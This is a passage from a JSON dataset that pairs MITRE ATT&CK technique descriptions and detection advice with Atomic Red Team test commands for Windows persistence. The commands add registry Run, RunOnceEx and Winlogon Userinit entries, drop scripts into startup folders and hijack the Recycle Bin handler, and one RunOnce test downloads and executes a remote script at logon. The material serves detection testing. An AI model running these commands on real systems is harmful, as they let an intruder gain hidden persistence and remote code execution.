- "x_mitre_detection": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to CreateProcess
/CreateProcessA
, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess
/CreateProcessA
may also be proceeded by a call to UpdateProcThreadAttribute
, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Host forensic analysis",
- "Heuristic Detection"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1169": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1169",
- "url": "https://attack.mitre.org/techniques/T1169"
- },
- {
- "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
- "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
- "source_name": "OSX.Dok Malware"
- }
- ],
- "modified": "2020-02-05T20:11:12.593Z",
- "name": "Sudo",
- "description": "The sudoers file, /etc/sudoers
, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL
(Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_effective_permissions": [
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1574.010": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire",
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd",
- "type": "attack-pattern",
- "created": "2020-03-12T20:43:53.998Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.010",
- "url": "https://attack.mitre.org/techniques/T1574/010"
- },
- {
- "external_id": "CAPEC-17",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/17.html"
- }
- ],
- "modified": "2020-09-16T19:10:04.262Z",
- "name": "Services File Permissions Weakness",
- "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Service: Service Metadata",
- "File: File Modification",
- "File: File Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM",
- "Administrator",
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1547.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Oddvar Moe, @oddvarmoe"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
- "created": "2020-01-23T22:02:48.566Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.001",
- "url": "https://attack.mitre.org/techniques/T1547/001"
- },
- {
- "source_name": "Malwarebytes Wow6432Node 2016",
- "url": "https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/",
- "description": "Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020."
- },
- {
- "source_name": "Microsoft Wow6432Node 2018",
- "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry",
- "description": "Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020."
- },
- {
- "source_name": "Microsoft Run Key",
- "url": "http://msdn.microsoft.com/en-us/library/aa376977",
- "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014."
- },
- {
- "source_name": "Oddvar Moe RunOnceEx Mar 2018",
- "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/",
- "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/270.html",
- "source_name": "capec",
- "external_id": "CAPEC-270"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp
.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce
\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce
\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx
is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"
(Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders
\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders
\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders
\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders
\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce
\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce
\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices
\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices
\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run
\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run
\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit
and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell
subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows
run when any user logs on.\n\nBy default, the multistring BootExecute
value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager
is set to autocheck autochk *
. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
- "modified": "2022-05-12T21:44:30.466Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder",
- "x_mitre_detection": "Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification",
- "File: File Modification",
- "Windows Registry: Windows Registry Key Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547.001"
- },
- "atomic_tests": [
- {
- "name": "Reg Key Run",
- "auto_generated_guid": "e55be3fd-3521-4610-9d1a-e210e42dcf05",
- "description": "Run Key Persistence\n\nUpon successful execution, cmd.exe will modify the registry by adding \\\"Atomic Red Team\\\" to the Run key. Output will be via stdout. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command_to_execute": {
- "description": "Thing to Run",
- "type": "path",
- "default": "C:\\Path\\AtomicRedTeam.exe"
- }
- },
- "executor": {
- "command": "REG ADD \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Atomic Red Team\" /t REG_SZ /F /D \"#{command_to_execute}\"\n",
- "cleanup_command": "REG DELETE \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Atomic Red Team\" /f >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Reg Key RunOnce",
- "auto_generated_guid": "554cbd88-cde1-4b56-8168-0be552eed9eb",
- "description": "RunOnce Key Persistence.\n\nUpon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "thing_to_execute": {
- "description": "Thing to Run",
- "type": "path",
- "default": "C:\\Path\\AtomicRedTeam.dll"
- }
- },
- "executor": {
- "command": "REG ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"#{thing_to_execute}\"\n",
- "cleanup_command": "REG DELETE HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "PowerShell Registry RunOnce",
- "auto_generated_guid": "eb44f842-0457-4ddc-9b92-c4caa144ac42",
- "description": "RunOnce Key Persistence via PowerShell\nUpon successful execution, a new entry will be added to the runonce item in the registry.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "thing_to_execute": {
- "description": "Thing to Run",
- "type": "path",
- "default": "powershell.exe"
- },
- "reg_key_path": {
- "description": "Path to registry key to update",
- "type": "path",
- "default": "HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce"
- }
- },
- "executor": {
- "command": "$RunOnceKey = \"#{reg_key_path}\"\nset-itemproperty $RunOnceKey \"NextRun\" '#{thing_to_execute} \"IEX (New-Object Net.WebClient).DownloadString(`\"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`\")\"'\n",
- "cleanup_command": "Remove-ItemProperty -Path #{reg_key_path} -Name \"NextRun\" -Force -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Suspicious vbs file run from startup Folder",
- "auto_generated_guid": "2cb98256-625e-4da9-9d44-f2e5f90b8bd5",
- "description": "vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, \"T1547.001 Hello, World VBS!\" will be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Copy-Item $PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"\ncscript.exe \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\ncscript.exe \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"\n",
- "cleanup_command": "Remove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\" -ErrorAction Ignore\nRemove-Item \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\" -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Suspicious jse file run from startup Folder",
- "auto_generated_guid": "dade9447-791e-4c8f-b04b-3a35855dfa06",
- "description": "jse files can be placed in and ran from the startup folder to maintain persistance.\nUpon execution, \"T1547.001 Hello, World JSE!\" will be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Copy-Item $PathToAtomicsFolder\\T1547.001\\src\\jsestartup.jse \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\"\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\jsestartup.jse \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\"\ncscript.exe /E:Jscript \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\"\ncscript.exe /E:Jscript \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\"\n",
- "cleanup_command": "Remove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\" -ErrorAction Ignore\nRemove-Item \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\" -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Suspicious bat file run from startup Folder",
- "auto_generated_guid": "5b6768e4-44d2-44f0-89da-a01d1430fd5e",
- "description": "bat files can be placed in and executed from the startup folder to maintain persistance\n\nUpon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Copy-Item $PathToAtomicsFolder\\T1547.001\\src\\batstartup.bat \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\"\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\batstartup.bat \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\"\nStart-Process \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\"\nStart-Process \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\"\n",
- "cleanup_command": "Remove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\" -ErrorAction Ignore\nRemove-Item \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\" -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Add Executable Shortcut Link to User Startup Folder",
- "auto_generated_guid": "24e55612-85f6-4bd6-ae74-a73d02e3441d",
- "description": "Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists. ",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$Target = \"C:\\Windows\\System32\\calc.exe\"\n$ShortcutLocation = \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\"\n$WScriptShell = New-Object -ComObject WScript.Shell\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\n$Create.TargetPath = $Target\n$Create.Save() ",
- "cleanup_command": "Remove-Item \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\" -ErrorAction Ignore",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Add persistance via Recycle bin",
- "auto_generated_guid": "bda6a3d6-7aa7-4e89-908b-306772e9662f",
- "description": "Add a persistance via Recycle bin [vxunderground](https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf)\nUser have to clic on the recycle bin to lauch the payload (here calc)\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg ADD \"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\\command\" /ve /d \"calc.exe\" /f",
- "cleanup_command": "reg DELETE \"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\" /f",
- "name": "command_prompt"
- }
- },
- {
- "name": "SystemBC Malware-as-a-Service Registry",
- "auto_generated_guid": "9dc7767b-30c1-4cc4-b999-50cab5e27891",
- "description": "This Atomic will create a registry key called socks5_powershell for persistance access\nhttps://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "reg_key_value": {
- "description": "Thing to Run",
- "type": "path",
- "default": "powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File"
- },
- "reg_key_path": {
- "description": "Path to registry key to update",
- "type": "path",
- "default": "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
- }
- },
- "executor": {
- "command": "$RunKey = \"#{reg_key_path}\"\nSet-ItemProperty -Path $RunKey -Name \"socks5_powershell\" -Value \"#{reg_key_value}\"\n",
- "cleanup_command": "Remove-ItemProperty -Path #{reg_key_path} -Name \"socks5_powershell\" -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value",
- "auto_generated_guid": "acfef903-7662-447e-a391-9c91c2f00f7b",
- "description": "This test will modify the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders -V \"Common Startup\" \nvalue to point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "new_startup_folder": {
- "description": "new startup folder to replace standard one",
- "type": "string",
- "default": "$env:TMP\\atomictest\\"
- },
- "payload": {
- "description": "executable to be placed in new startup location ",
- "type": "string",
- "default": "C:\\Windows\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "New-Item -ItemType Directory -path \"#{new_startup_folder}\"\nCopy-Item -path \"#{payload}\" -destination \"#{new_startup_folder}\"\nSet-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Common Startup\" -Value \"#{new_startup_folder}\"\n",
- "cleanup_command": "Set-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Common Startup\" -Value \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nRemove-Item \"#{new_startup_folder}\" -Recurse -Force\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Change Startup Folder - HKCU Modify User Shell Folders Startup Value",
- "auto_generated_guid": "8834b65a-f808-4ece-ad7e-2acdf647aafa",
- "description": "This test will modify the HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders -V \"Startup\" value \nto point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "new_startup_folder": {
- "description": "new startup folder to replace standard one",
- "type": "string",
- "default": "$env:TMP\\atomictest\\"
- },
- "payload": {
- "description": "executable to be placed in new startup location ",
- "type": "string",
- "default": "C:\\Windows\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "New-Item -ItemType Directory -path \"#{new_startup_folder}\"\nCopy-Item -path \"#{payload}\" -destination \"#{new_startup_folder}\"\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Startup\" -Value \"#{new_startup_folder}\"\n",
- "cleanup_command": "Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Startup\" -Value \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nRemove-Item \"#{new_startup_folder}\" -Recurse -Force\n",
- "name": "powershell"
- }
- },
- {
- "name": "HKCU - Policy Settings Explorer Run Key",
- "auto_generated_guid": "a70faea1-e206-4f6f-8d9a-67379be8f6f1",
- "description": "This test will create a new value under HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run to launch calc.exe on boot. \n*Requires reboot\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target_key_value_name": {
- "description": "registry value to crate on target key",
- "type": "string",
- "default": "atomictest"
- },
- "payload": {
- "description": "payload to execute",
- "type": "string",
- "default": "C:\\Windows\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "if (!(Test-Path -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\")){\n New-Item -ItemType Key -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\n}\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\" -Value \"#{payload}\"\n",
- "cleanup_command": "Remove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\"",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "HKLM - Policy Settings Explorer Run Key",
- "auto_generated_guid": "b5c9a9bc-dda3-4ea0-b16a-add8e81ab75f",
- "description": "This test will create a HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run key value to launch calc.exe on boot. \n*Requires reboot\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target_key_value_name": {
- "description": "registry value to crate on target key",
- "type": "string",
- "default": "atomictest"
- },
- "payload": {
- "description": "payload to execute",
- "type": "string",
- "default": "C:\\Windows\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "if (!(Test-Path -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\")){\n New-Item -ItemType Key -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\n}\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\" -Value \"#{payload}\"\n",
- "cleanup_command": "Remove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\"",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "HKLM - Append Command to Winlogon Userinit KEY Value",
- "auto_generated_guid": "f7fab6cc-8ece-4ca7-a0f1-30a22fccd374",
- "description": "This test will append a command to the HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit value to launch calc.exe on boot.\n* Requires reboot\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "payload": {
- "description": "what to run",
- "type": "string",
- "default": "C:\\Windows\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Userinit\");\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Userinit-backup\" -Value \"$oldvalue\";\n$newvalue = $oldvalue + \" #{payload}\";\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Userinit\" -Value \"$newvalue\"\n",
